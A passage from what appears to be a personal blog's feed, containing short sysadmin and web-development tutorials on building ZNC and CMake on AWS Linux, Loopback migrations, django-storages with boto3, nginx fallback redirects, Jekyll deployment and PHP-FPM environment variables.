&lt;p&gt;Now you will need git to clone the ZNC source code and openssl-devel to have ssl support&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# yum install git openssl-devel
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Clone ZNC source code&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git clone https://github.com/znc/znc.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Enter on the source code folder&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cd znc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Initialize submodules&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git submodule update --init --recursive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Install it with:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cmake . 
$ make
# make install (run this as root #)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Configure it with:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ znc --makeconf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Best regards,
Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Install Cmake 3 on AWS Linux</title>
   <link href="http://www.matbra.com/2017/12/07/install-cmake-on-aws-linux.html"/>
   <updated>2017-12-07T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2017/12/07/install-cmake-on-aws-linux</id>
   <content type="html">&lt;p&gt;If you are trying to build something using CMake and is getting the error: “CMake 3.1 or higher is required.  You are running version 2.8.12.2”&lt;/p&gt;

&lt;p&gt;You can manually install this CMake version, to do this, I removed the previous CMake.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# yum remove cmake
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Tested if it was really removed&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cmake 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;-bash: /usr/bin/cmake: No such file or directory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Install G++&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# yum install gcc-c++
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Download latest version from: &lt;a href=&quot;https://cmake.org/download/&quot;&gt;Cmake Download&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ wget https://cmake.org/files/v3.10/cmake-3.10.0.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Extract it:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ tar -xvzf cmake-3.10.0.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Enter on cmake folder&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cd cmake-3.10.0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Install it with:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# ./bootstrap
# make
# make install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you should have cmake under /usr/local/bin/cmake&lt;/p&gt;

&lt;p&gt;Best regards,
Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Loopback model migration using postgresql database</title>
   <link href="http://www.matbra.com/2017/01/08/model-migrations-loopback.html"/>
   <updated>2017-01-08T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2017/01/08/model-migrations-loopback</id>
   <content type="html">&lt;p&gt;I have been playing with &lt;a href=&quot;https://strongloop.com/node-js/loopback-framework/&quot;&gt;Loopback&lt;/a&gt;, initially I was just declaring models and use in memory, but now I got to a point where I need to have a persistent database.&lt;/p&gt;

&lt;p&gt;I couldn’t find how to keep my database synced with my models easily. I’m not sure if I’m not that familiar with Loopback yet, or if their documentation is not clear enough.&lt;/p&gt;

&lt;p&gt;To create a script to sync your models with your database you can create a file under bin/ called &lt;code class=&quot;highlighter-rouge&quot;&gt;autoupdate.js&lt;/code&gt; and add the following:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var path = require('path');

var app = require(path.resolve(__dirname, '../server/server'));
var ds = app.datasources.db;
ds.autoupdate(function(err) {
  if (err) throw err;
  ds.disconnect();
});
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The code is pretty simple, it will fetch the app from server.js, grab the datasource and run the &lt;code class=&quot;highlighter-rouge&quot;&gt;autoupate&lt;/code&gt; command. You could use &lt;code class=&quot;highlighter-rouge&quot;&gt;automigrate&lt;/code&gt;, but this one will clean the database every time, so pay attention on this.&lt;/p&gt;

&lt;p&gt;I think this will work for most of datasources, but if it doesn’t work for yours, drop me a line. I can try to help :D&lt;/p&gt;

&lt;p&gt;Matheus&lt;/p&gt;

&lt;p&gt;PS: Loopback will not create migrations and do a proper job as Django, sometimes you can get to weird states, it seems Loopback works better with NoSQL databases.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Django Storages with Boto3 and additional Metadata only for Media</title>
   <link href="http://www.matbra.com/2016/12/29/django-storages-boto3-metadata-only-for-media.html"/>
   <updated>2016-12-29T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2016/12/29/django-storages-boto3-metadata-only-for-media</id>
   <content type="html">&lt;p&gt;I have a personal project which I’m using python with Django and django-storages to upload my static and media files to Amazon S3, because my media files have UUID and they’re not editable on my system I wanted to have a long expiration time on it, so I could save some bandwidth but I didn’t want this on the static files which are updated more regularly when I’m updating the system.&lt;/p&gt;

&lt;p&gt;Most of resources refer to &lt;code class=&quot;highlighter-rouge&quot;&gt;AWS_HEADERS&lt;/code&gt; but it didn’t work for me. It seems it is only for boto (not boto3) after looking into boto3 source code I discovered &lt;code class=&quot;highlighter-rouge&quot;&gt;AWS_S3_OBJECT_PARAMETERS&lt;/code&gt; which works for boto3, but this is a system-wide setting, so I had to extend &lt;code class=&quot;highlighter-rouge&quot;&gt;S3Boto3Storage&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So the code that solved my problem was:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MediaRootS3Boto3Storage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;S3Boto3Storage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'media'&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;object_parameters&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'CacheControl'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'max-age=604800'&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If you’re using boto (not boto3) and you want to have specific parameters only for Media classes you could use&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MediaRootS3Boto3Storage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;S3BotoStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'media'&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'CacheControl'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'max-age=604800'&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;You also need to update your django-storages settings, pay attention to the class name, on boto 3 it is S3Boto&lt;strong&gt;3&lt;/strong&gt;Storage on boto it doesn’t has the 3 after Boto.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;DEFAULT_FILE_STORAGE = 'package.module.MediaRootS3Boto3Storage'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Very simple tip, but it took a while to find out how it works&lt;/p&gt;

&lt;p&gt;Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Nginx redirect on failure</title>
   <link href="http://www.matbra.com/2016/12/22/nginx-redirect-multiserver.html"/>
   <updated>2016-12-22T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2016/12/22/nginx-redirect-multiserver</id>
   <content type="html">&lt;p&gt;As a few of you probably noticed, recently I have decided to &lt;a href=&quot;http://www.matbra.com/2016/12/07/install-nginx-php-on-amazon-linux.html&quot;&gt;update my really old wordpress blog from PHP4~5 to a most recent one&lt;/a&gt;. Leaving a shared host and going to heroku, which later became Amazon EC2.&lt;/p&gt;

&lt;p&gt;I had to decide if I would keep Wordpress, or change to a different technology as Jekyll? Or what? I have thought a lot about this and in the end I decided to use Jekyll to be honest, why? Because using something new will motivate me to study, play with something new and work more.&lt;/p&gt;

&lt;p&gt;Have decided to work with Jekyll, I had to think about my domain, because I didn’t want to break my old wordpress blog, I want to keep it alive as a record and keep it for SEO points, but how to keep both living together on an awesome way?&lt;/p&gt;

&lt;p&gt;I thought the ideal would be to have something that tries to access the new website and if it is not found it should redirect to the old wordpress website. But how to redirect to the old blog only when a page is not found and complying with the http status code (ie: redirecting with 301).&lt;/p&gt;

&lt;p&gt;After some documentation reading on nginx I found you can try to proxy to a server and if it fails redirect to a new one, it seems the ideal solution for now.&lt;/p&gt;

&lt;p&gt;I have a nginx configuration file with multiple servers, first I have a nginx wordpress configuration, this server just adds PHP-FPM to process PHP files basically with my own custom domain.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;&lt;span class=&quot;k&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kn&quot;&gt;listen&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;kn&quot;&gt;server_name&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;wordpress.matbra.com&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;kn&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;root&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;/var/www/wordpress/live&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;index&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;index.php&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;index.html&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;index.htm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;try_files&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;/index.php?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri$args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;kn&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;~&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;\.php$&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;root&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;/var/www/wordpress/live&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;fastcgi_pass&lt;/span&gt;   &lt;span class=&quot;s&quot;&gt;unix:/var/run/php-fpm/php-fpm.sock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;fastcgi_index&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;index.php&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;fastcgi_param&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;SCRIPT_FILENAME&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;$document_root$fastcgi_script_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;include&lt;/span&gt;        &lt;span class=&quot;s&quot;&gt;fastcgi_params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;!--more--&gt;

&lt;p&gt;My second server is basically nginx serving static files for the new blog created with Jekyll:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;&lt;span class=&quot;k&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;listen&lt;/span&gt;	&lt;span class=&quot;mi&quot;&gt;5000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;kn&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;root&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;/var/www/jekyll/live/_site/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;index&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;index.html&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;index.htm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So the most important server is the nginx server which will redirect when my jekyll server doesn’t find the url being requested. This one is a little bit more, I’m creating a nginx proxy which intercept errors with &lt;code class=&quot;highlighter-rouge&quot;&gt;proxy_intercept_errors on;&lt;/code&gt; and on error page redirect to my secondary server wordpress using &lt;code class=&quot;highlighter-rouge&quot;&gt;error_page 404 = @wordpress;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If it is redirected to the wordpress page it will rewrite the url to the wordpress server.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;&lt;span class=&quot;k&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kn&quot;&gt;listen&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;kn&quot;&gt;server_name&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;www.matbra.com&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;matbra.com&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;kn&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;proxy_intercept_errors&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;error_page&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;404&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;@wordpress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;proxy_set_header&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Host&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$http_host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;proxy_pass&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;http://127.0.0.1:5000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

   &lt;span class=&quot;kn&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;@wordpress&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kn&quot;&gt;rewrite&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;^/(.*)&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;http://wordpress.matbra.com/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;permanent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So my configuration file is a composition from all of this.&lt;/p&gt;

&lt;p&gt;What do you guys think? Do you have any question?&lt;/p&gt;

&lt;p&gt;Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Build Jekyll as production after push</title>
   <link href="http://www.matbra.com/2016/12/12/build-jekyll-on-push.html"/>
   <updated>2016-12-12T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2016/12/12/build-jekyll-on-push</id>
   <content type="html">&lt;p&gt;If you want to build your Jekyll blog on your own server after a git push you can use git hooks. To do it, you can extend the &lt;a href=&quot;/2016/12/09/deploy-after-git-push.html&quot;&gt;Deploy after git push&lt;/a&gt; and add this tree lines (after &lt;code class=&quot;highlighter-rouge&quot;&gt;rm -rf&lt;/code&gt;), to install dependencies and to build it as production environment.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;	&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$LIVE_PATH&lt;/span&gt;
	bundle &lt;span class=&quot;nb&quot;&gt;install
	&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;JEKYLL_ENV&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;production jekyll build&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Force www on Jekyll website using Javascript</title>
   <link href="http://www.matbra.com/2016/12/11/jekyll-force-www.html"/>
   <updated>2016-12-11T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2016/12/11/jekyll-force-www</id>
   <content type="html">&lt;p&gt;I wanted to force using my jekyll website to have the “www” prefix and because my Jekyll doesn’t have a back-end I couldn’t do it on the server, so I needed to use Javascript or Meta tags. A few people says Google Search engine handles meta refresh as 301/302 so it would be better to go with this approach from a SEO perspective.&lt;/p&gt;

&lt;p&gt;If you want to force www prefix on your website using javascript, you can use this snippet:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;www&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;protocol&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;//www.&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hostname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pathname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/script&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;I have created a &lt;code class=&quot;highlighter-rouge&quot;&gt;_include/force_www.html&lt;/code&gt; file and I’m using &lt;code class=&quot;highlighter-rouge&quot;&gt;jekyll.environment&lt;/code&gt; to load it, so I’m only loading it on production.&lt;/p&gt;

&lt;p&gt;Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Set env var to PHP-FPM</title>
   <link href="http://www.matbra.com/2016/12/10/set-env-var-for-fpm.html"/>
   <updated>2016-12-10T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2016/12/10/set-env-var-for-fpm</id>
   <content type="html">&lt;p&gt;After &lt;a href=&quot;/2016/12/07/install-nginx-php-on-amazon-linux.html&quot;&gt;installing nginx and php&lt;/a&gt;, I wanted to use environment vars inside PHP 7 so I don’t need to save configuration to my repo.&lt;/p&gt;

&lt;p&gt;Usually when using environment vars the ideal is to set it without having it saved in a file but on this case it was easier to.&lt;/p&gt;

&lt;p&gt;If you want to add environment variables to your PHP-FPM you can edit &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/php-fpm.d/www.conf&lt;/code&gt; (I’m doing it on Amazon Linux and PHP 7.0)&lt;/p&gt;

&lt;p&gt;There is a flag &lt;code class=&quot;highlighter-rouge&quot;&gt;clear_env = no&lt;/code&gt; where you’re able to set if php-fpm will receive a clean environment or not. I decided to leave it as the default value and but setting my vars as&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;env[WP_SECURE_AUTH_KEY] = &quot;some-value&quot;
env[WP_NONCE_KEY] = &quot;nonce-key&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After this I restarted my nginx and php-fpm.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo service nginx restart
sudo service php-fpm restart
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Deploy after push to your own git</title>
   <link href="http://www.matbra.com/2016/12/09/deploy-after-git-push.html"/>
   <updated>2016-12-09T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2016/12/09/deploy-after-git-push</id>
   <content type="html">&lt;p&gt;I have explained &lt;a href=&quot;/2016/12/08/pushing-to-your-own-remote-git.html&quot;&gt;how to push your code to your own git server&lt;/a&gt; and after this you may want to execute some especific functions, in my specific case I wanted my code to be builded and to release a new version, so I used &lt;code class=&quot;highlighter-rouge&quot;&gt;post-receive&lt;/code&gt; hook from my repo.&lt;/p&gt;

&lt;p&gt;Oh, it also handle multiple versions keeping the last 3 versions of the release. To do this it uses your DEPLOY_PATH and create a new folder sources on it, which will have your versions and a live folder which is a symlink to the version which is running.&lt;/p&gt;

&lt;p&gt;Vars:&lt;/p&gt;
&lt;ul&gt;
